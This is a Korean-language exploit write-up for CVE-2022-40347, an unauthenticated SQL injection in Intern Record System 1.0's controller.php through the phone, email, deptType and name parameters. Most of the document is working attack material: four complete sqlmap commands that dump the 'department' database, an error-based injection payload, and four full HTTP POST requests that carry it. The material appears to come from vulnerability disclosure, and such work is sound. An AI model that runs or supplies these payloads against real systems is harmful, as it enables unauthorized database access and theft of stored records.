CVE-2022-40347: Intern Record System - 'phone', 'email', 'deptType' 및 'name' SQL 인젝션 (인증 없음)

익스플로잇 제목: Intern Record System - 'phone', 'email', 'deptType' 및 'name' SQL 인젝션 (인증 없음)
날짜: 2022-06-09
익스플로잇 작성자: Hamdi Sevben
공급업체 홈페이지: https://code-projects.org/intern-record-system-in-php-with-source-code/
소프트웨어 링크: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
버전: 1.0
테스트 환경: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
CVE: CVE-2022-40347

참고:

1. 설명:

Intern Record System 1.0은 "/intern/controller.php"의 'phone', 'email', 'deptType' 및 'name' 파라미터를 통해 SQL 인젝션을 허용합니다. 이 문제를 악용하면 공격자가 애플리케이션을 손상시키거나, 데이터에 접근 또는 수정하거나, 기본 데이터베이스의 최신 취약점을 악용할 수 있습니다.

2. 개념 증명:

sqlmap에서 'phone', 'email', 'deptType' 또는 'name' 파라미터를 사용하여 'department' 데이터베이스를 덤프합니다.
그런 다음 SQLmap을 실행하여 데이터베이스에서 데이터를 추출합니다:

sqlmap.py -u "http://localhost/intern/controller.php" -p "deptType" --risk="3" --level="3" --method="POST" --data="phone=&email=&deptType=test&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dump

sqlmap.py -u "http://localhost/intern/controller.php" -p "email" --risk="3" --level="3" --method="POST" --data="phone=&email=test&deptType=3&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dump

sqlmap.py -u "http://localhost/intern/controller.php" -p "name" --risk="3" --level="3" --method="POST" --data="phone=&email=&deptType=3&name=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dump

sqlmap.py -u "http://localhost/intern/controller.php" -p "phone" --risk="3" --level="3" --method="POST" --data="phone=test&email=&deptType=3&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dump

3. 예시 페이로드:

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

4. 'phone' 파라미터에 대한 Burpsuite 요청:

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 317  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

phone=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&email=&deptType=3&name=

5. 'email' 파라미터에 대한 Burpsuite 요청:

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 317  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

phone=&email=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&deptType=3&name=

6. 'deptType' 파라미터에 대한 Burpsuite 요청:

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 316  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

phone=&email=&deptType=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&name=

7. 'name' 파라미터에 대한 Burpsuite 요청:

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 317  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

phone=&email=&deptType=3&name=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

CVE-2022-40347_Intern-Record-System-phone-V1.0-SQL-Injection-Vulnerability-Unauthenticated

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